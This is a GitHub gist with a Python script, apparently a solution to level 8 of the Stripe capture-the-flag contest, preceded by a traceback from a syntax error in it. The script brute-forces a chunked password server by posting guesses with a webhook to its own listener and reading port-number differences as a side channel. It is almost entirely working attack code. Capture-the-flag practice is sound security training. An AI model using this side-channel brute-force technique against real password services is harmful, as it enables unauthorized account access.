Skip to content

Instantly share code, notes, and snippets.

@am0d
Created August 29, 2012 03:21
Show Gist options
  • Save am0d/3506487 to your computer and use it in GitHub Desktop.
Save am0d/3506487 to your computer and use it in GitHub Desktop.
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "listener.py", line 9
sock.listen(5)
^
import socket
import urllib2
from random import shuffle
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 31415)
sock.listen(5)
url = 'https://level08-1.stripe-ctf.com/user-icapkbfrck/'
payload = '{"password": "%s", "webhooks": ["http://level02-2.stripe-ctf.com/31415"]}'
previous_port = 0
current_chunk = 0 # current chunk server we are working on
index = 0 # current index into allposs
urllib2.urlopen(url, payload % '000000000000')
allposs = map(lambda x: ("00" + str(x))[-3:], range(0, 1000))
shuffle(allposs)
positives = dict((('1', []), ('2', []), ('3', []), ('4', [])))
found_chunks = ''
try:
while 1:
# Accept the connection
client, address = sock.accept()
port = address[1]
data = client.recv(1024)
if previous_port != 0:
# Not the first one
#print "port: ", port, " previous port: ", previous_port, " diff: ", port - previous_port
if data.find('{"success": true}') >= 0 or port - previous_port > (current_chunk + 3):
print 'Poss chunk ' + str(current_chunk + 1) + ': ' + allposs[index]
positives[str(current_chunk + 1)].append(allposs[index])
if (positives[str(current_chunk+1)].count(allposs[index]) >= 10):
# Quite sure this is correct
found_chunks += allposs[index]
print 'Found so far: ', found_chunks
index = 0
current_chunk += 1
if current_chunk > 3:
# All done
print "All done"
exit()
else:
index += 1
else:
index += 1
previous_port = port
client.close()
if (index % 100) == 0:
print index / 10
if (index >= 1000):
print 'Run out of chunks to check, starting over'
index = 0
urllib2.urlopen(url, (payload % (found_chunks + allposs[index] + '000000000')[:12]))
except Exception as ex:
print 'Exception: ', ex
client.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment